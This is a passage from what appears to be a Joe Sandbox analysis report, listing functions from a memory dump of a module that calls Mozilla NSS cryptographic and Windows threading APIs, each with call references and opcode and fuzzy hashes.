Part of subcall function 6CAFCEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,6CAFCD93,?,?,?,?,?,?,?,?,?,?,?,6CAFCD93,?), ref: 6CAFCF78

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$Item_Time$CopyCriticalEnterErrorFindMark_SectionSystemUnlock$AllocateCurrentFileGrow_Tag_ThreadUnothrow_t@std@@@Zfree__ehfuncinfo$??2@
String ID:
API String ID: 3748922049-0
Opcode ID: 32d323609478027432aa4c6409691845090470e35f00c7dae3a30b2de07d85b4
Instruction ID: a19290365bbc077698e5478ba7fd01f4c6049c038c5644e3079695f78f25494f
Opcode Fuzzy Hash: 32d323609478027432aa4c6409691845090470e35f00c7dae3a30b2de07d85b4
Instruction Fuzzy Hash: F251B3B6E001049BE720DF6ADC40BEA77F4EF4834CF290524E96597741EB31E98ACB91

Function 6CAF8BA0 Relevance: 9.2, APIs: 6, Instructions: 150memorythreadCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3 ref: 6CAF8BCD

Part of subcall function 6CAF14C0: TlsGetValue.KERNEL32 ref: 6CAF14E0
Part of subcall function 6CAF14C0: EnterCriticalSection.KERNEL32 ref: 6CAF14F5
Part of subcall function 6CAF14C0: PR_Unlock.NSS3 ref: 6CAF150D

PORT_ArenaGrow_Util.NSS3(?,?,?), ref: 6CAF8BF9

Part of subcall function 6CAF1340: TlsGetValue.KERNEL32(?,00000000,00000000,?,6CA9895A,00000000,?,00000000,?,00000000,?,00000000,?,6CA8F599,?,00000000), ref: 6CAF136A
Part of subcall function 6CAF1340: EnterCriticalSection.KERNEL32(B8AC9BDF,?,6CA9895A,00000000,?,00000000,?,00000000,?,00000000,?,6CA8F599,?,00000000), ref: 6CAF137E
Part of subcall function 6CAF1340: PL_ArenaGrow.NSS3(?,6CA8F599,?,00000000,?,6CA9895A,00000000,?,00000000,?,00000000,?,00000000,?,6CA8F599,?), ref: 6CAF13CF
Part of subcall function 6CAF1340: PR_Unlock.NSS3(?,?,6CA9895A,00000000,?,00000000,?,00000000,?,00000000,?,6CA8F599,?,00000000), ref: 6CAF145C

PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6CAF8C38
PORT_ArenaAlloc_Util.NSS3(?,00000050), ref: 6CAF8C59
PR_GetCurrentThread.NSS3 ref: 6CAF8D33
PR_GetCurrentThread.NSS3 ref: 6CAF8D59

Part of subcall function 6CB59BF0: TlsGetValue.KERNEL32(?,?,?,6CBA0A75), ref: 6CB59C07

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Arena$Util$Value$Alloc_CriticalCurrentEnterSectionThreadUnlock$GrowGrow_Mark_
String ID:
API String ID: 3225201373-0
Opcode ID: f50832ab4d9857f1f7afeacbe80af7b4d1f02fa6835f044da2f1e4fb017a82fa
Instruction ID: 379844c7f2d6158d525e7313d657d0f741af1fc293a71712c2d1b6bae3a54c7a
Opcode Fuzzy Hash: f50832ab4d9857f1f7afeacbe80af7b4d1f02fa6835f044da2f1e4fb017a82fa
Instruction Fuzzy Hash: 4E612AB4A016019FDB04CF19D580B517BF0FF59308F1582AAE9588FB62E771E9A6CF90

Function 6CAF6A70 Relevance: 9.1, APIs: 6, Instructions: 137COMMON

Download Yara Rule

APIs

DER_GetInteger_Util.NSS3(?), ref: 6CAF6ABF

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Integer_Util
String ID:
API String ID: 2649942920-0
Opcode ID: 7e65771172d0251303886ac95c45e93540d55db363194d34f6cd7b8fe5945339
Instruction ID: 23e5999fc2582c25ef0f0c86d38dd9b14eedd17979f596c16310470091d4bbd2
Opcode Fuzzy Hash: 7e65771172d0251303886ac95c45e93540d55db363194d34f6cd7b8fe5945339
Instruction Fuzzy Hash: 595128B09417048FEB248F29D951B977BF4AB08318F14492DE4AEC7B52E731E48ACB95

Function 6CACEEF0 Relevance: 9.1, APIs: 6, Instructions: 124threadCOMMON

Download Yara Rule

APIs

PK11_Authenticate.NSS3(?,00000001,00000004), ref: 6CACEF38

Part of subcall function 6CAB9520: PK11_IsLoggedIn.NSS3(00000000,?,6CAE379E,?,00000001,?), ref: 6CAB9542

PK11_Authenticate.NSS3(?,00000001,?), ref: 6CACEF53

Part of subcall function 6CAD4C20: TlsGetValue.KERNEL32 ref: 6CAD4C4C
Part of subcall function 6CAD4C20: EnterCriticalSection.KERNEL32(?), ref: 6CAD4C60
Part of subcall function 6CAD4C20: PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6CAD4CA1
Part of subcall function 6CAD4C20: TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 6CAD4CBE
Part of subcall function 6CAD4C20: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6CAD4CD2
Part of subcall function 6CAD4C20: realloc.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAD4D3A

PR_GetCurrentThread.NSS3 ref: 6CACEF9E

Part of subcall function 6CB59BF0: TlsGetValue.KERNEL32(?,?,?,6CBA0A75), ref: 6CB59C07

free.MOZGLUE(00000000), ref: 6CACEFC3
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CACF016
free.MOZGLUE(00000000), ref: 6CACF022

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: K11_Value$AuthenticateCriticalEnterSectionfree$CurrentErrorLoggedThreadUnlockrealloc
String ID:
API String ID: 2459274275-0
Opcode ID: a7698cbb72851f78f6f859cdd229767a8a1a0c56a68406b9788e924248cb5bb6
Instruction ID: d86a4ca23d0b86415deb699c74d1949b2a672692d6658cf1ece5c75ad0f546f0
Opcode Fuzzy Hash: a7698cbb72851f78f6f859cdd229767a8a1a0c56a68406b9788e924248cb5bb6
Instruction Fuzzy Hash: 1841A471E00109AFDF018FA9DC85BEE7BB9AF48358F044029F914A7351E771D959CBA2

Function 6CAA4860 Relevance: 9.1, APIs: 6, Instructions: 121COMMON

Download Yara Rule

APIs

SEC_QuickDERDecodeItem_Util.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAA4894

Part of subcall function 6CAEB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CBC18D0,?), ref: 6CAEB095

SECOID_GetAlgorithmTag_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAA48CA
SECOID_GetAlgorithmTag_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAA48DD
SEC_QuickDERDecodeItem_Util.NSS3(00000000,?,?,?), ref: 6CAA48FF
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CAA4912
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CAA494A

Part of subcall function 6CB3C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CB3C2BF

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Util$AlgorithmTag_$DecodeErrorItem_Quick$Value
String ID:
API String ID: 759476665-0
Opcode ID: ca4bb29f1df86f15ae7828364d4593eccad7566d31fffa12abf5e2fa551c434b
Instruction ID: bdcc805d157db5ae403c76f67f877f0f3464521228200f17d4e0070c8dad6de4
Opcode Fuzzy Hash: ca4bb29f1df86f15ae7828364d4593eccad7566d31fffa12abf5e2fa551c434b
Instruction Fuzzy Hash: 4741D5706043455BE704CFA9E884BAB73E89F48218F08052CFA5597741FB70D999CB96

Function 6CB28AF0 Relevance: 9.1, APIs: 6, Instructions: 120COMMON

Download Yara Rule

APIs

NSS_GetAlgorithmPolicy.NSS3(00000159,00000000,00000000,?,?,6CB16F38), ref: 6CB28B0B
NSS_OptionGet.NSS3(00000008,?), ref: 6CB28B58
NSS_OptionGet.NSS3(00000009,?), ref: 6CB28B6A
NSS_GetAlgorithmPolicy.NSS3(00000159,00000000,?,?,00000000,?,?,6CB16F38), ref: 6CB28BBB
NSS_OptionGet.NSS3(0000000A,?), ref: 6CB28C08
NSS_OptionGet.NSS3(0000000B,?), ref: 6CB28C1A

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Option$AlgorithmPolicy
String ID:
API String ID: 927613807-0
Opcode ID: c23f1e57726c9e265089287fecd6bf74f5187bf7652b00d58f5550f4b928433b
Instruction ID: 2924de7d5e995340de1c20acaf45857fa18ba9c1ad256b456f767a6565d99889
Opcode Fuzzy Hash: c23f1e57726c9e265089287fecd6bf74f5187bf7652b00d58f5550f4b928433b
Instruction Fuzzy Hash: AC4149A2B011998BEF009AD9EC903FE36B5DF41308F844426CD5DD7784E32A5A4A8793

Function 6CABCF40 Relevance: 9.1, APIs: 6, Instructions: 112memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(00000060), ref: 6CABCF80
SECITEM_DupItem_Util.NSS3(?), ref: 6CABD002
PR_SetError.NSS3(FFFFE005,00000000,00000000,00000000,?,00000000), ref: 6CABD016
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CABD025
PR_NewLock.NSS3 ref: 6CABD043
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6CABD074

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: ErrorUtil$Alloc_ContextDestroyItem_K11_Lock
String ID:
API String ID: 3361105336-0
Opcode ID: 65589b88bcd1b16ef0b2a76f828e81a6e22b107d9b3217c06f4ccfb138b29625
Instruction ID: eb1a5e6a03dd66c22ed54450e4a45d4ddb3bd9285bf0199ae31f3b64067dc0f5
Opcode Fuzzy Hash: 65589b88bcd1b16ef0b2a76f828e81a6e22b107d9b3217c06f4ccfb138b29625
Instruction Fuzzy Hash: 6341B4B4E013158FDB10DF29C88479A7BA8EF08319F14416ADC1EAB74AD774D4C9CB91

Function 6CAF8810 Relevance: 9.1, APIs: 6, Instructions: 110memorythreadCOMMON

Download Yara Rule

APIs

PORT_ArenaGrow_Util.NSS3(?,?,?,?,?,?,?,?,?,6CAF86AA), ref: 6CAF8851

Part of subcall function 6CAF1340: TlsGetValue.KERNEL32(?,00000000,00000000,?,6CA9895A,00000000,?,00000000,?,00000000,?,00000000,?,6CA8F599,?,00000000), ref: 6CAF136A
Part of subcall function 6CAF1340: EnterCriticalSection.KERNEL32(B8AC9BDF,?,6CA9895A,00000000,?,00000000,?,00000000,?,00000000,?,6CA8F599,?,00000000), ref: 6CAF137E
Part of subcall function 6CAF1340: PL_ArenaGrow.NSS3(?,6CA8F599,?,00000000,?,6CA9895A,00000000,?,00000000,?,00000000,?,00000000,?,6CA8F599,?), ref: 6CAF13CF
Part of subcall function 6CAF1340: PR_Unlock.NSS3(?,?,6CA9895A,00000000,?,00000000,?,00000000,?,00000000,?,6CA8F599,?,00000000), ref: 6CAF145C

PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,6CAF86AA), ref: 6CAF886C
PORT_ArenaAlloc_Util.NSS3(?,0000002C), ref: 6CAF8890
PR_GetCurrentThread.NSS3 ref: 6CAF891C
PR_GetCurrentThread.NSS3 ref: 6CAF8937

Part of subcall function 6CB59BF0: TlsGetValue.KERNEL32(?,?,?,6CBA0A75), ref: 6CB59C07

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Arena$Util$Alloc_CurrentThreadValue$CriticalEnterGrowGrow_SectionUnlock
String ID:
API String ID: 3779483720-0
Opcode ID: 3123fed35c0f64ecced03d7674b18b4804f3e60b9a1a588adde2c1bd94da076c
Instruction ID: 85dae2033a664b3c74e41a463e3f64e99e8dc320d7fa98966a2644d3bce8779b
Opcode Fuzzy Hash: 3123fed35c0f64ecced03d7674b18b4804f3e60b9a1a588adde2c1bd94da076c
Instruction Fuzzy Hash: F34196B0A016029FE704CF69C8D0B65B7A4FF45308F148269E8388B751EB72E9A5CBD1

Function 6CAA2E60 Relevance: 9.1, APIs: 6, Instructions: 105COMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,00000000,00000001,00000000,?,?,6CA92D1A), ref: 6CAA2E7E

Part of subcall function 6CAF07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6CA98298,?,?,?,6CA8FCE5,?), ref: 6CAF07BF
Part of subcall function 6CAF07B0: PL_HashTableLookup.NSS3(?,?), ref: 6CAF07E6
Part of subcall function 6CAF07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CAF081B
Part of subcall function 6CAF07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CAF0825

PR_Now.NSS3 ref: 6CAA2EDF
CERT_FindCertIssuer.NSS3(?,00000000,?,0000000B), ref: 6CAA2EE9
SECOID_FindOID_Util.NSS3(-000000D8,?,?,?,?,6CA92D1A), ref: 6CAA2F01
CERT_DestroyCertificate.NSS3(?,?,?,?,?,?,6CA92D1A), ref: 6CAA2F50
SECITEM_CopyItem_Util.NSS3(?,?,?), ref: 6CAA2F81

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: FindUtil$ErrorHashLookupTable$CertCertificateConstCopyDestroyIssuerItem_
String ID:
API String ID: 287051776-0
Opcode ID: 6b467407cb95a1ae026b0ee79dd1b2f7e38d058143e2b848c32e4eb652019a89
Instruction ID: 677d02b9e805b62574f5c1df84b4c80b418adb5facc52540431cdff3befa5686
Opcode Fuzzy Hash: 6b467407cb95a1ae026b0ee79dd1b2f7e38d058143e2b848c32e4eb652019a89
Instruction Fuzzy Hash: A031E4715011408BE724CE97DC48BAEB2A5EB88318F684779D42D97AD0EB31D8FBC651

Function 6CAB6B70 Relevance: 9.1, APIs: 6, Instructions: 103memoryCOMMON

Download Yara Rule

APIs

PK11_Authenticate.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,00000007,?,00000000), ref: 6CAB6BA9

Part of subcall function 6CAB9520: PK11_IsLoggedIn.NSS3(00000000,?,6CAE379E,?,00000001,?), ref: 6CAB9542

PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,00000007,?,00000000), ref: 6CAB6BC0
PORT_ArenaAlloc_Util.NSS3(00000000,0000001C,?,?,?,?,?,?,?,?,?,00000007,?,00000000), ref: 6CAB6BD7
PK11_HasAttributeSet.NSS3(?,?,00000002,00000000,?,?,?,?,00000007,?,00000000), ref: 6CAB6B97

Part of subcall function 6CAD1870: TlsGetValue.KERNEL32 ref: 6CAD18A6
Part of subcall function 6CAD1870: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,6CAB6C34,?,?,00000001,00000000,00000007,?), ref: 6CAD18B6
Part of subcall function 6CAD1870: PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6CAB6C34,?,?), ref: 6CAD18E1
Part of subcall function 6CAD1870: PR_SetError.NSS3(00000000,00000000), ref: 6CAD18F9

PK11_HasAttributeSet.NSS3(?,?,00000001,00000000,00000007,?,00000000), ref: 6CAB6C2F
PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00000007,?,00000000), ref: 6CAB6C61

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: K11_$Util$Arena_Attribute$Alloc_ArenaAuthenticateCriticalEnterErrorFreeLoggedSectionUnlockValue
String ID:
API String ID: 2313852964-0
Opcode ID: 88b49e351ca89ce2574e695a1b3b89ce229547cf27cf623f3a1c69bd20c9b940
Instruction ID: efd2b51b025c6e9038b7f5683f8cd54f5529334e00480ad5dd6912666a64ccf5
Opcode Fuzzy Hash: 88b49e351ca89ce2574e695a1b3b89ce229547cf27cf623f3a1c69bd20c9b940
Instruction Fuzzy Hash: BC31F7B1A403019BE7048F54DD81FAA7B68EF46358F090029FE08A7781E771E995C6E1

Function 6CA90E00 Relevance: 9.1, APIs: 6, Instructions: 101memoryCOMMON

Download Yara Rule

APIs

CERT_DecodeAVAValue.NSS3(?,?,6CA90A2C), ref: 6CA90E0F
PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,6CA90A2C), ref: 6CA90E73
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,6CA90A2C), ref: 6CA90E85
PORT_ZAlloc_Util.NSS3(00000001,?,?,6CA90A2C), ref: 6CA90E90
free.MOZGLUE(00000000), ref: 6CA90EC4
SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?,6CA90A2C), ref: 6CA90ED9

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Util$Alloc_$ArenaDecodeItem_ValueZfreefreememset
String ID:
API String ID: 3618544408-0
Opcode ID: cc9eef7cdb0b02060d836630d5942ae68cbe63def91cee696269726e6a605028
Instruction ID: 5104931a235d1564d0ea8bd74c3d49bf136462c3b9ae5ff79364bd9bdefed23a
Opcode Fuzzy Hash: cc9eef7cdb0b02060d836630d5942ae68cbe63def91cee696269726e6a605028
Instruction Fuzzy Hash: AB213E76E102845BEF10496A9C47B6B76FFDBC9BC8F1D0035D81C97A02EB70C8D982A1

Function 6CA7A9B0 Relevance: 9.1, APIs: 6, Instructions: 101synchronizationCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,?,?,6CB59270), ref: 6CA7A9BF
PR_IntervalToMilliseconds.NSS3(?,?,6CB59270), ref: 6CA7A9DE

Part of subcall function 6CA7AB40: __aulldiv.LIBCMT ref: 6CA7AB66

Part of subcall function 6CB5CA40: LeaveCriticalSection.KERNEL32(?), ref: 6CB5CAAB

LeaveCriticalSection.KERNEL32(?), ref: 6CA7AA2C
WaitForSingleObject.KERNEL32(?,-00000001), ref: 6CA7AA39
EnterCriticalSection.KERNEL32(?), ref: 6CA7AA42
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6CA7AAEB

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: CriticalSection$LeaveObjectSingleWait$EnterIntervalMillisecondsValue__aulldiv
String ID:
API String ID: 4008047719-0
Opcode ID: 697737b4de455ec233e8c27e7d64208ae8083acc2ae7f772e993d4d99aead162
Instruction ID: 19fea9c63b4d350c175a48ad8cd04f11c254f4bedd5d7bed3d3b1e5c709b6851
Opcode Fuzzy Hash: 697737b4de455ec233e8c27e7d64208ae8083acc2ae7f772e993d4d99aead162
Instruction Fuzzy Hash: DD419E74604705AFDB209F28C584796BBF2FB4A358F28962DE45A8B641DB71DCC1CB90

Function 6CAA88D0 Relevance: 9.1, APIs: 6, Instructions: 97memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6CAB0725,00000000,00000058), ref: 6CAA8906
EnterCriticalSection.KERNEL32(?), ref: 6CAA891A
PL_ArenaAllocate.NSS3(?,?), ref: 6CAA894A
calloc.MOZGLUE(00000001,6CAB072D,00000000,00000000,00000000,?,6CAB0725,00000000,00000058), ref: 6CAA8959
memset.VCRUNTIME140(?,00000000,?), ref: 6CAA8993
PR_Unlock.NSS3(?), ref: 6CAA89AF

Part of subcall function 6CA807A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CA1204A), ref: 6CA807AD
Part of subcall function 6CA807A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CA1204A), ref: 6CA807CD
Part of subcall function 6CA807A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CA1204A), ref: 6CA807D6
Part of subcall function 6CA807A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CA1204A), ref: 6CA807E4
Part of subcall function 6CA807A0: TlsSetValue.KERNEL32(00000000,?,6CA1204A), ref: 6CA80864
Part of subcall function 6CA807A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CA80880
Part of subcall function 6CA807A0: TlsSetValue.KERNEL32(00000000,?,?,6CA1204A), ref: 6CA808CB
Part of subcall function 6CA807A0: TlsGetValue.KERNEL32(?,?,6CA1204A), ref: 6CA808D7
Part of subcall function 6CA807A0: TlsGetValue.KERNEL32(?,?,6CA1204A), ref: 6CA808FB

Memory Dump Source

